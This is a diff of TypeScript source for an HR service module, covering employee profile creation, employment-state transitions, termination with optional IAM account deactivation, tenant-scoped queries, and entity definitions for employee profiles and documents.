/** Ethiopian-calendar rendering, or null for an absent date. */
|
||||
private static async toAmharicDate(
|
||||
isoDate?: string | null,
|
||||
): Promise<string | null> {
|
||||
if (!isoDate) return null;
|
||||
const timestamp = new Date(isoDate).getTime();
|
||||
if (Number.isNaN(timestamp)) return null;
|
||||
return formatEthiopianDateAmharic(timestamp, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* The next employee number for an organization.
|
||||
*
|
||||
* Globally unique, not per organization — see the entity for why. Derived
|
||||
* from the highest suffix already issued INCLUDING soft-deleted rows, so a
|
||||
* number is never reused. Two concurrent creates can still pick the same
|
||||
* value; the unique index on `employee_number` is what actually guarantees
|
||||
* uniqueness.
|
||||
*/
|
||||
private async nextEmployeeNumber(): Promise<string> {
|
||||
const highest =
|
||||
await this.employeesRepository.findHighestEmployeeNumberSuffix(
|
||||
EMPLOYEE_NUMBER_PREFIX,
|
||||
);
|
||||
return `${EMPLOYEE_NUMBER_PREFIX}${String(highest + 1).padStart(5, "0")}`;
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
// Validation
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
private static assertDateOrder(dto: {
|
||||
hireDate?: string;
|
||||
probationEndDate?: string | null;
|
||||
contractEndDate?: string | null;
|
||||
}): void {
|
||||
const { hireDate, probationEndDate, contractEndDate } = dto;
|
||||
if (!hireDate) return;
|
||||
if (probationEndDate && probationEndDate < hireDate) {
|
||||
throw new BadRequestException(
|
||||
"probationEndDate cannot be before hireDate",
|
||||
);
|
||||
}
|
||||
if (contractEndDate && contractEndDate < hireDate) {
|
||||
throw new BadRequestException("contractEndDate cannot be before hireDate");
|
||||
}
|
||||
}
|
||||
|
||||
private async assertJobTitleBelongsToOrg(
|
||||
jobTitleId: string,
|
||||
organizationId: string | null,
|
||||
): Promise<void> {
|
||||
const jobTitle = await this.jobTitlesRepository.findById(jobTitleId);
|
||||
if (!jobTitle || (organizationId && jobTitle.organizationId !== organizationId)) {
|
||||
throw new BadRequestException(
|
||||
`Job title ${jobTitleId} does not exist in this organization`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A manager override must name a real IAM employee, must not be the employee
|
||||
* themselves, and must not close a reporting cycle.
|
||||
*
|
||||
* The cycle walk follows overrides only. A cycle through the IAM position
|
||||
* hierarchy is IAM's invariant to keep, and re-validating it here would make
|
||||
* HR reject profiles over a structure it does not own.
|
||||
*/
|
||||
private async assertManagerOverrideIsSane(
|
||||
employeeId: string,
|
||||
managerEmployeeId: string,
|
||||
): Promise<void> {
|
||||
if (managerEmployeeId === employeeId) {
|
||||
throw new BadRequestException("An employee cannot be their own manager");
|
||||
}
|
||||
await this.iamDirectory.requireEmployee(managerEmployeeId);
|
||||
|
||||
const seen = new Set<string>([employeeId]);
|
||||
let cursor: string | null = managerEmployeeId;
|
||||
|
||||
for (let depth = 0; depth < MAX_MANAGER_CHAIN_DEPTH && cursor; depth += 1) {
|
||||
if (seen.has(cursor)) {
|
||||
throw new BadRequestException(
|
||||
`Manager override would create a reporting cycle at employee ${cursor}`,
|
||||
);
|
||||
}
|
||||
seen.add(cursor);
|
||||
const managerProfile: EmployeeProfile | null =
|
||||
await this.employeesRepository.findByEmployeeId(cursor);
|
||||
cursor = managerProfile?.managerEmployeeId ?? null;
|
||||
}
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
// Commands
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
async create(
|
||||
dto: CreateEmployeeProfileDto,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
// The IAM employee is the extension point, so it has to exist and it decides
|
||||
// which organization the profile belongs to — the caller does not get to say.
|
||||
//
|
||||
// It must ALSO be the caller's own organization. Falling back to the actor's
|
||||
// org when IAM disagreed would let someone create a profile scoped to another
|
||||
// tenant, which every read here then filters out — a row the creator can
|
||||
// never see again. (Observed against the live database, which has three
|
||||
// organizations and units belonging to each.)
|
||||
const iamEmployee = await this.iamDirectory.requireEmployee(dto.employeeId);
|
||||
// The organization is read from IAM for the tenancy check and then thrown
|
||||
// away — it is deliberately NOT stored on the profile. IAM owns that fact.
|
||||
const organizationId = iamEmployee.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new ForbiddenException(
|
||||
`IAM employee ${dto.employeeId} has no organization`,
|
||||
);
|
||||
}
|
||||
if (!actor.isSuperAdmin && organizationId !== actor.organizationId) {
|
||||
throw new ForbiddenException(
|
||||
`Employee ${dto.employeeId} belongs to another organization`,
|
||||
);
|
||||
}
|
||||
|
||||
const existing = await this.employeesRepository.findByEmployeeId(
|
||||
dto.employeeId,
|
||||
);
|
||||
if (existing) {
|
||||
throw new ConflictException(
|
||||
`Employee ${dto.employeeId} already has HR profile ${existing.id}`,
|
||||
);
|
||||
}
|
||||
|
||||
EmployeesService.assertDateOrder(dto);
|
||||
|
||||
if (dto.jobTitleId) {
|
||||
await this.assertJobTitleBelongsToOrg(dto.jobTitleId, organizationId);
|
||||
}
|
||||
if (dto.managerEmployeeId) {
|
||||
await this.assertManagerOverrideIsSane(
|
||||
dto.employeeId,
|
||||
dto.managerEmployeeId,
|
||||
);
|
||||
}
|
||||
|
||||
let employeeNumber = dto.employeeNumber;
|
||||
if (employeeNumber) {
|
||||
const clash =
|
||||
await this.employeesRepository.findByEmployeeNumber(employeeNumber);
|
||||
if (clash) {
|
||||
throw new ConflictException(
|
||||
`Employee number ${employeeNumber} is already in use`,
|
||||
);
|
||||
}
|
||||
} else {
|
||||
employeeNumber = await this.nextEmployeeNumber();
|
||||
}
|
||||
|
||||
const profile = await this.employeesRepository.create({
|
||||
...dto,
|
||||
employeeNumber,
|
||||
employmentState: EmployeesService.deriveInitialState(
|
||||
dto.probationEndDate,
|
||||
dto.employmentState,
|
||||
),
|
||||
isPensionEligible: EmployeesService.derivePensionEligibility(
|
||||
dto.employmentType,
|
||||
dto.isPensionEligible,
|
||||
),
|
||||
amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate),
|
||||
amharicDateOfBirth: await EmployeesService.toAmharicDate(dto.dateOfBirth),
|
||||
createdBy: actor.userId,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
|
||||
return this.toResponse(profile, iamEmployee);
|
||||
}
|
||||
|
||||
async update(
|
||||
id: string,
|
||||
dto: UpdateEmployeeProfileDto,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
|
||||
EmployeesService.assertDateOrder({
|
||||
hireDate: dto.hireDate ?? profile.hireDate,
|
||||
probationEndDate: dto.probationEndDate ?? profile.probationEndDate,
|
||||
contractEndDate: dto.contractEndDate ?? profile.contractEndDate,
|
||||
});
|
||||
|
||||
if (dto.jobTitleId) {
|
||||
// The profile no longer stores an organization; read the employee's from
|
||||
// IAM so a job title from another tenant is still refused.
|
||||
const iam = await this.iamDirectory.findEmployee(profile.employeeId);
|
||||
await this.assertJobTitleBelongsToOrg(
|
||||
dto.jobTitleId,
|
||||
iam?.organizationId ?? null,
|
||||
);
|
||||
}
|
||||
if (dto.managerEmployeeId) {
|
||||
await this.assertManagerOverrideIsSane(
|
||||
profile.employeeId,
|
||||
dto.managerEmployeeId,
|
||||
);
|
||||
}
|
||||
if (
|
||||
dto.employeeNumber &&
|
||||
dto.employeeNumber !== profile.employeeNumber
|
||||
) {
|
||||
const clash = await this.employeesRepository.findByEmployeeNumber(
|
||||
dto.employeeNumber,
|
||||
);
|
||||
if (clash) {
|
||||
throw new ConflictException(
|
||||
`Employee number ${dto.employeeNumber} is already in use`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Pension eligibility follows a changed employment type unless the caller
|
||||
// states otherwise in the same request — otherwise moving someone from
|
||||
// CONTRACT to PERMANENT would silently leave them out of the pension.
|
||||
const employmentType = dto.employmentType ?? profile.employmentType;
|
||||
const isPensionEligible =
|
||||
dto.isPensionEligible !== undefined
|
||||
? dto.isPensionEligible
|
||||
: dto.employmentType
|
||||
? EmployeesService.derivePensionEligibility(employmentType)
|
||||
: profile.isPensionEligible;
|
||||
|
||||
const updated = await this.employeesRepository.update(id, {
|
||||
...dto,
|
||||
isPensionEligible,
|
||||
...(dto.hireDate
|
||||
? { amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate) }
|
||||
: {}),
|
||||
...(dto.dateOfBirth
|
||||
? {
|
||||
amharicDateOfBirth: await EmployeesService.toAmharicDate(
|
||||
dto.dateOfBirth,
|
||||
),
|
||||
}
|
||||
: {}),
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
|
||||
return this.toResponse(updated ?? profile);
|
||||
}
|
||||
|
||||
/**
|
||||
* Move a profile between employment states.
|
||||
*
|
||||
* Every state change goes through here so the transition table is enforced in
|
||||
* exactly one place — the deactivate/reinstate/terminate endpoints are thin
|
||||
* wrappers over it rather than three separate implementations.
|
||||
*/
|
||||
private async transition(
|
||||
profile: EmployeeProfile,
|
||||
next: EEmploymentState,
|
||||
actor: ActorContext,
|
||||
extra: Partial<EmployeeProfile> = {},
|
||||
): Promise<EmployeeProfile> {
|
||||
const allowed = ALLOWED_TRANSITIONS[profile.employmentState] ?? [];
|
||||
if (!allowed.includes(next)) {
|
||||
throw new BadRequestException(
|
||||
`Cannot move employment state from ${profile.employmentState} to ${next}` +
|
||||
(allowed.length
|
||||
? `. Allowed: ${allowed.join(", ")}`
|
||||
: ". This state is terminal."),
|
||||
);
|
||||
}
|
||||
|
||||
const updated = await this.employeesRepository.update(profile.id, {
|
||||
...extra,
|
||||
employmentState: next,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return updated ?? profile;
|
||||
}
|
||||
|
||||
async suspend(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
return this.toResponse(
|
||||
await this.transition(profile, EEmploymentState.SUSPENDED, actor),
|
||||
);
|
||||
}
|
||||
|
||||
async reinstate(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
return this.toResponse(
|
||||
await this.transition(profile, EEmploymentState.ACTIVE, actor),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* End an employment.
|
||||
*
|
||||
* Terminal, and it deliberately does NOT soft-delete the row: payroll history,
|
||||
* the tax report and the pension report all read terminated employees for the
|
||||
* period they worked. Removal, if it ever happens, is a retention decision made
|
||||
* separately.
|
||||
*/
|
||||
async terminate(
|
||||
id: string,
|
||||
dto: TerminateEmployeeDto,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
const terminationDate =
|
||||
dto.terminationDate ?? new Date().toISOString().slice(0, 10);
|
||||
|
||||
if (terminationDate < profile.hireDate) {
|
||||
throw new BadRequestException(
|
||||
"terminationDate cannot be before hireDate",
|
||||
);
|
||||
}
|
||||
|
||||
const finalState = dto.finalState ?? EEmploymentState.TERMINATED;
|
||||
|
||||
// Anyone whose manager override points at this person is now reporting to
|
||||
// someone who has left. Clearing it falls back to the IAM position
|
||||
// hierarchy, which is the correct answer far more often than a dangling id.
|
||||
const reports =
|
||||
await this.employeesRepository.findDirectReportsByOverride(
|
||||
profile.employeeId,
|
||||
);
|
||||
for (const report of reports) {
|
||||
await this.employeesRepository.update(report.id, {
|
||||
managerEmployeeId: null,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
const terminated = await this.transition(profile, finalState, actor, {
|
||||
terminationDate,
|
||||
terminationReason: dto.terminationReason ?? null,
|
||||
});
|
||||
|
||||
// Revoking access is a separate, opt-in step. The HR state change is already
|
||||
// committed by this point, so a failure here must not undo it — the profile
|
||||
// comes back flagged ACCESS_OUTLIVES_EMPLOYMENT and the account can be
|
||||
// deactivated from the detail page instead.
|
||||
if (dto.revokeSystemAccess) {
|
||||
await this.setSystemAccess(terminated, false).catch(() => undefined);
|
||||
}
|
||||
|
||||
return this.toResponse(terminated);
|
||||
}
|
||||
|
||||
/**
|
||||
* Turn the IAM account behind a profile on or off.
|
||||
*
|
||||
* IAM owns the login; HR owns the employment. Neither writes the other's
|
||||
* state, so this is the one place HR is allowed to reach across — and only
|
||||
* when a human asks for it explicitly.
|
||||
*/
|
||||
async setIamAccountActive(
|
||||
id: string,
|
||||
active: boolean,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
|
||||
// Restoring a login to somebody HR says has left is precisely the mistake
|
||||
// this pairing exists to prevent. Reinstate the employment first; that is a
|
||||
// decision with a record behind it.
|
||||
if (active && ENDED_STATES.has(profile.employmentState)) {
|
||||
throw new BadRequestException(
|
||||
`Cannot restore system access: this employment is ${profile.employmentState}. ` +
|
||||
"Employment must be reinstated before the account is.",
|
||||
);
|
||||
}
|
||||
|
||||
await this.setSystemAccess(profile, active);
|
||||
return this.toResponse(profile);
|
||||
}
|
||||
|
||||
/**
|
||||
* The IAM call itself, with its one asymmetry made explicit.
|
||||
*
|
||||
* Deactivating ends every position the employee holds (`end_date = now`,
|
||||
* `is_current = false`); activating restores the account and its status but
|
||||
* NOT those assignments. Reactivating therefore leaves somebody logged in with
|
||||
* no post — the caller is warned, and the org explorer is where they are put
|
||||
* back.
|
||||
*/
|
||||
private async setSystemAccess(
|
||||
profile: EmployeeProfile,
|
||||
active: boolean,
|
||||
): Promise<void> {
|
||||
if (active) {
|
||||
await this.iamOperations.activateEmployee(profile.employeeId);
|
||||
return;
|
||||
}
|
||||
await this.iamOperations.deactivateEmployee(profile.employeeId);
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
// Queries
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* The employee list: EVERY current IAM employee, with their onboarding state.
|
||||
*
|
||||
* Driven from IAM rather than from `hr.employee_profiles`, because a list of
|
||||
* profiles alone showed 0 people against 2,427 real employees and offered no
|
||||
* way to reach the rest. `isOnboarded` distinguishes the two, and
|
||||
* `ensureProfile` turns an un-onboarded row into a real one.
|
||||
*/
|
||||
async findDirectory(
|
||||
filters: FindEmployeeProfilesDto,
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<DirectoryRow>> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
|
||||
const unitIds = filters.unitId
|
||||
? await this.iamDirectory.findUnitSubtreeIds(filters.unitId)
|
||||
: null;
|
||||
|
||||
const { items, total } = await this.iamDirectory.findEmployeeDirectoryPage({
|
||||
organizationId: orgScope(actor),
|
||||
search: filters.search,
|
||||
unitIds,
|
||||
onboarded: filters.onboarded,
|
||||
employmentState: filters.employmentState,
|
||||
limit,
|
||||
offset: (page - 1) * limit,
|
||||
});
|
||||
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
/** Profiles only — kept for callers that genuinely need HR rows. */
|
||||
async findAll(
|
||||
filters: FindEmployeeProfilesDto,
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<EmployeeProfileResponseDto>> {
|
||||
// A search term has to reach IAM: name, username and email live there, while
|
||||
// the employee number lives here. Resolve both sides into one id whitelist,
|
||||
// then run the real page against it — that keeps the schema boundary intact
|
||||
// and still gives a single paginated result set.
|
||||
//
|
||||
// `pageFilters` drops `search` once the whitelist exists: leaving it in would
|
||||
// re-apply the employee-number LIKE on top of the whitelist, and an employee
|
||||
// matched by NAME in IAM would be filtered straight back out.
|
||||
let employeeIdWhitelist: string[] | null = null;
|
||||
let pageFilters = filters;
|
||||
if (filters.search) {
|
||||
const [iamMatches, [numberMatches]] = await Promise.all([
|
||||
this.iamDirectory.searchEmployees(filters.search, SEARCH_FANOUT_LIMIT),
|
||||
this.employeesRepository.findPage(orgScope(actor), {
|
||||
...filters,
|
||||
page: 1,
|
||||
limit: SEARCH_FANOUT_LIMIT,
|
||||
}),
|
||||
]);
|
||||
employeeIdWhitelist = [
|
||||
...new Set([
|
||||
...iamMatches.map((match) => match.id),
|
||||
...numberMatches.map((profile) => profile.employeeId),
|
||||
]),
|
||||
];
|
||||
const { search: _search, ...withoutSearch } = filters;
|
||||
pageFilters = withoutSearch;
|
||||
}
|
||||
|
||||
let unitEmployeeIds: string[] | null = null;
|
||||
if (filters.unitId) {
|
||||
const unitIds = await this.iamDirectory.findUnitSubtreeIds(
|
||||
filters.unitId,
|
||||
);
|
||||
const employees = await this.iamDirectory.findEmployeesByUnits(unitIds);
|
||||
unitEmployeeIds = employees.map((e) => e.id);
|
||||
}
|
||||
|
||||
const [profiles, total] = await this.employeesRepository.findPage(
|
||||
orgScope(actor),
|
||||
pageFilters,
|
||||
{ employeeIdWhitelist, unitEmployeeIds },
|
||||
);
|
||||
|
||||
// One IAM round trip for the whole page, never one per row.
|
||||
const iamById = await this.iamDirectory.findEmployees(
|
||||
profiles.map((p) => p.employeeId),
|
||||
);
|
||||
|
||||
return paginate(
|
||||
profiles.map((profile) =>
|
||||
EmployeeProfileResponseDto.from(
|
||||
profile,
|
||||
iamById.get(profile.employeeId) ?? null,
|
||||
),
|
||||
),
|
||||
total,
|
||||
filters.page ?? 1,
|
||||
filters.limit ?? 25,
|
||||
);
|
||||
}
|
||||
|
||||
async findOne(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const profile = await this.requireProfile(id, orgScope(actor));
|
||||
return this.toResponse(profile);
|
||||
}
|
||||
|
||||
/**
|
||||
* The caller's own profile. Distinct from `findOne` because self-service holds
|
||||
* `can:view_own:employee_profile` and must not be able to read anyone else by
|
||||
* guessing an id.
|
||||
*/
|
||||
async findOwn(actor: ActorContext): Promise<EmployeeProfileResponseDto> {
|
||||
if (!actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"This account is not linked to an employee record",
|
||||
);
|
||||
}
|
||||
const profile = await this.employeesRepository.findByEmployeeId(
|
||||
actor.employeeId,
|
||||
);
|
||||
if (!profile) {
|
||||
throw new NotFoundException("You do not have an HR profile yet");
|
||||
}
|
||||
return this.toResponse(profile);
|
||||
}
|
||||
|
||||
/** Headcount by state, for the HR dashboard KPI row. */
|
||||
async headcountSummary(
|
||||
actor: ActorContext,
|
||||
): Promise<{ total: number; byState: Record<string, number> }> {
|
||||
const rows = await this.employeesRepository.countByEmploymentState(
|
||||
orgScope(actor),
|
||||
);
|
||||
const byState: Record<string, number> = {};
|
||||
let total = 0;
|
||||
for (const row of rows) {
|
||||
const count = parseInt(row.count, 10);
|
||||
byState[row.employmentState] = count;
|
||||
total += count;
|
||||
}
|
||||
return { total, byState };
|
||||
}
|
||||
|
||||
/**
|
||||
* The manager who actually approves for this employee: the override when set,
|
||||
* otherwise the holder of the parent position in IAM. Leave (3.2) and
|
||||
* appraisals (3.6) both route through this, so the rule lives here rather than
|
||||
* being re-derived per module.
|
||||
*/
|
||||
async resolveEffectiveManager(
|
||||
profile: EmployeeProfile,
|
||||
): Promise<{ employeeId: string | null; overridden: boolean }> {
|
||||
if (profile.managerEmployeeId) {
|
||||
return { employeeId: profile.managerEmployeeId, overridden: true };
|
||||
}
|
||||
return {
|
||||
employeeId: await this.iamDirectory.findLineManagerEmployeeId(
|
||||
profile.employeeId,
|
||||
),
|
||||
overridden: false,
|
||||
};
|
||||
}
|
||||
|
||||
/** Loads a profile and enforces organization scoping in one place. */
|
||||
/**
|
||||
* Loads a profile and enforces organization scoping in one place.
|
||||
*
|
||||
* `organizationId: null` skips the check — a super admin reads across
|
||||
* organizations. Deliberately a 404 rather than a 403 for everyone else: an
|
||||
* out-of-scope id should be indistinguishable from a missing one, or the
|
||||
* endpoint becomes a way to probe which ids exist in other tenants.
|
||||
*/
|
||||
async requireProfile(
|
||||
id: string,
|
||||
organizationId: string | null,
|
||||
): Promise<EmployeeProfile> {
|
||||
const profile = await this.employeesRepository.findById(id);
|
||||
if (!profile) throw new NotFoundException(`Employee profile ${id} not found`);
|
||||
|
||||
// Tenancy is checked against IAM, since the profile no longer stores an
|
||||
// organization. One extra lookup by primary key, and it cannot go stale.
|
||||
if (organizationId) {
|
||||
const iam = await this.iamDirectory.findEmployee(profile.employeeId);
|
||||
if (iam?.organizationId !== organizationId) {
|
||||
throw new NotFoundException(`Employee profile ${id} not found`);
|
||||
}
|
||||
}
|
||||
return profile;
|
||||
}
|
||||
|
||||
/**
|
||||
* Auto-provision: return this employee's HR profile, creating a minimal one
|
||||
* if they do not have it yet.
|
||||
*
|
||||
* Mirrors how the passenger app lazily provisions `passenger.Passenger` on
|
||||
* first login. It exists so the IAM/HR split is invisible in daily use — an
|
||||
* HR officer opening someone's record should not first have to "create a
|
||||
* profile", and no screen should dead-end on a person who plainly exists.
|
||||
*
|
||||
* Only the facts HR can know without asking are set: employment type defaults
|
||||
* to PERMANENT and the hire date to the IAM record's creation date, which is
|
||||
* the closest defensible proxy. Both are flagged by `isProvisional` so the UI
|
||||
* can prompt for the real values rather than presenting a guess as fact.
|
||||
*/
|
||||
async ensureProfile(
|
||||
employeeId: string,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeProfile> {
|
||||
const existing = await this.employeesRepository.findByEmployeeId(employeeId);
|
||||
if (existing) return existing;
|
||||
|
||||
const iamEmployee = await this.iamDirectory.requireEmployee(employeeId);
|
||||
if (
|
||||
!actor.isSuperAdmin &&
|
||||
iamEmployee.organizationId !== actor.organizationId
|
||||
) {
|
||||
throw new ForbiddenException(
|
||||
`Employee ${employeeId} belongs to another organization`,
|
||||
);
|
||||
}
|
||||
|
||||
// node-postgres hydrates timestamptz into a Date, so normalise before
|
||||
// slicing to the YYYY-MM-DD the column expects.
|
||||
const createdAt = iamEmployee.createdAt
|
||||
? new Date(iamEmployee.createdAt)
|
||||
: new Date();
|
||||
const hireDate = Number.isNaN(createdAt.getTime())
|
||||
? new Date().toISOString().slice(0, 10)
|
||||
: createdAt.toISOString().slice(0, 10);
|
||||
|
||||
return this.employeesRepository.create({
|
||||
employeeId,
|
||||
employeeNumber: await this.nextEmployeeNumber(),
|
||||
employmentType: EEmploymentType.PERMANENT,
|
||||
hireDate,
|
||||
amharicHireDate: await EmployeesService.toAmharicDate(hireDate),
|
||||
employmentState: EEmploymentState.ACTIVE,
|
||||
isPensionEligible: EmployeesService.derivePensionEligibility(
|
||||
EEmploymentType.PERMANENT,
|
||||
),
|
||||
isProvisional: true,
|
||||
createdBy: actor.userId,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
private async toResponse(
|
||||
profile: EmployeeProfile,
|
||||
iamEmployee?: Awaited<ReturnType<IamDirectoryService["findEmployee"]>>,
|
||||
): Promise<EmployeeProfileResponseDto> {
|
||||
const iam =
|
||||
iamEmployee ?? (await this.iamDirectory.findEmployee(profile.employeeId));
|
||||
const manager = await this.resolveEffectiveManager(profile);
|
||||
return EmployeeProfileResponseDto.from(profile, iam, manager);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Column,
|
||||
Entity,
|
||||
Index,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
PrimaryGeneratedColumn,
|
||||
} from "typeorm";
|
||||
|
||||
import { EmployeeProfile } from "./employee-profile.entity";
|
||||
|
||||
export enum EEmployeeDocumentType {
|
||||
CONTRACT = "CONTRACT",
|
||||
CERTIFICATE = "CERTIFICATE",
|
||||
EDUCATION = "EDUCATION",
|
||||
NATIONAL_ID = "NATIONAL_ID",
|
||||
PASSPORT = "PASSPORT",
|
||||
DRIVING_LICENCE = "DRIVING_LICENCE",
|
||||
CV = "CV",
|
||||
MEDICAL = "MEDICAL",
|
||||
DISCIPLINARY = "DISCIPLINARY",
|
||||
OTHER = "OTHER",
|
||||
}
|
||||
|
||||
/**
|
||||
* An employee's HR file. The bytes live in DMS/MinIO; this row is the HR-side
|
||||
* index — what the document is, when it expires, and who it belongs to.
|
||||
*
|
||||
* `documentId` is a soft reference to DMS, deliberately without an FK (DMS is a
|
||||
* separate service). A row whose DMS object has been deleted still tells HR that
|
||||
* a contract was once filed and when it expired, which is the auditable fact.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "employee_documents" })
|
||||
@Index("idx_employee_documents_profile", ["employeeProfileId"])
|
||||
@Index("idx_employee_documents_expiry", ["expiryDate"])
|
||||
export class EmployeeDocument extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_profile_id" })
|
||||
employeeProfileId!: string;
|
||||
|
||||
@ManyToOne(() => EmployeeProfile, (profile) => profile.documents, {
|
||||
onDelete: "CASCADE",
|
||||
})
|
||||
@JoinColumn({ name: "employee_profile_id" })
|
||||
employeeProfile?: EmployeeProfile;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "document_type" })
|
||||
documentType!: EEmployeeDocumentType;
|
||||
|
||||
/** Soft reference → the DMS document id. */
|
||||
@Column({ type: "uuid", name: "document_id" })
|
||||
documentId!: string;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 128,
|
||||
name: "document_number",
|
||||
nullable: true,
|
||||
})
|
||||
documentNumber?: string | null;
|
||||
|
||||
@Column({ type: "date", name: "issue_date", nullable: true })
|
||||
issueDate?: string | null;
|
||||
|
||||
/**
|
||||
* Drives the expiring-documents report (3.7) and the renewal reminder. The
|
||||
* organization is not stored here — the report scopes by joining through
|
||||
* `hr.employee_profiles` to `iam.employees`.
|
||||
*/
|
||||
@Column({ type: "date", name: "expiry_date", nullable: true })
|
||||
expiryDate?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 128,
|
||||
name: "issuing_authority",
|
||||
nullable: true,
|
||||
})
|
||||
issuingAuthority?: string | null;
|
||||
|
||||
@Column({ type: "jsonb", name: "notes", nullable: true })
|
||||
notes?: { am: string; en: string } | null;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Column,
|
||||
Entity,
|
||||
Index,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
OneToMany,
|
||||
PrimaryGeneratedColumn,
|
||||
Unique,
|
||||
} from "typeorm";
|
||||
|
||||
import { EmployeeDocument } from "./employee-document.entity";
|
||||
import { JobTitle } from "../../job-titles/entities/job-title.entity";
|
||||
|
||||
export enum EEmploymentType {
|
||||
PERMANENT = "PERMANENT",
|
||||
CONTRACT = "CONTRACT",
|
||||
INTERN = "INTERN",
|
||||
PART_TIME = "PART_TIME",
|
||||
SECONDED = "SECONDED",
|
||||
}
|
||||
|
||||
export enum EEmploymentState {
|
||||
PROBATION = "PROBATION",
|
||||
ACTIVE = "ACTIVE",
|
||||
SUSPENDED = "SUSPENDED",
|
||||
ON_LEAVE = "ON_LEAVE",
|
||||
TERMINATED = "TERMINATED",
|
||||
RETIRED = "RETIRED",
|
||||
}
|
||||
|
||||
export enum EGender {
|
||||
MALE = "MALE",
|
||||
FEMALE = "FEMALE",
|
||||
}
|
||||
|
||||
export enum EMaritalStatus {
|
||||
SINGLE = "SINGLE",
|
||||
MARRIED = "MARRIED",
|
||||
DIVORCED = "DIVORCED",
|
||||
WIDOWED = "WIDOWED",
|
||||
}
|
||||
|
||||
/** How net pay reaches the employee. Drives the payroll disbursement file (3.4). */
|
||||
export enum ESalaryMode {
|
||||
BANK = "BANK",
|
||||
CASH = "CASH",
|
||||
CHEQUE = "CHEQUE",
|
||||
}
|
||||
|
||||
/** Ethiopian postal addressing: region → sub-city/zone → woreda → kebele. */
|
||||
export type PersonalAddress = {
|
||||
region?: string;
|
||||
subCity?: string;
|
||||
zone?: string;
|
||||
woreda?: string;
|
||||
kebele?: string;
|
||||
houseNumber?: string;
|
||||
};
|
||||
|
||||
/**
|
||||
* The HR extension of `iam.employees`.
|
||||
*
|
||||
* `employeeId` is a soft reference — a plain UUID with NO foreign key into
|
||||
* `iam.employees`, matching the platform stance (there are zero FKs from
|
||||
* `freight.*` into `iam.*` either). Co-location in one database would allow a
|
||||
* real FK; not taking it keeps IAM independently deployable and keeps HR rows
|
||||
* readable when an IAM row is removed. Validation happens in
|
||||
* `IamDirectoryService.requireEmployee` on the way in.
|
||||
*
|
||||
* NOTHING IAM stores is duplicated here — not name, unit, organization, user
|
||||
* account or position. Every one of those is read by joining `iam.employees`
|
||||
* and `iam.employee_positions` at query time. The organization in particular is
|
||||
* deliberately NOT copied: it is IAM's fact, and a stale copy here would be a
|
||||
* second answer to "which tenant is this person in".
|
||||
*
|
||||
* The only column that is HR's own identifier rather than an HR attribute is
|
||||
* `employeeNumber`, which HR issues and IAM has no equivalent of.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "employee_profiles" })
|
||||
@Unique("uq_employee_profiles_employee_id", ["employeeId"])
|
||||
@Unique("uq_employee_profiles_employee_number", ["employeeNumber"])
|
||||
@Index("idx_employee_profiles_state", ["employmentState"])
|
||||
export class EmployeeProfile extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
/** Soft reference → `iam.employees.id`. The extension point. */
|
||||
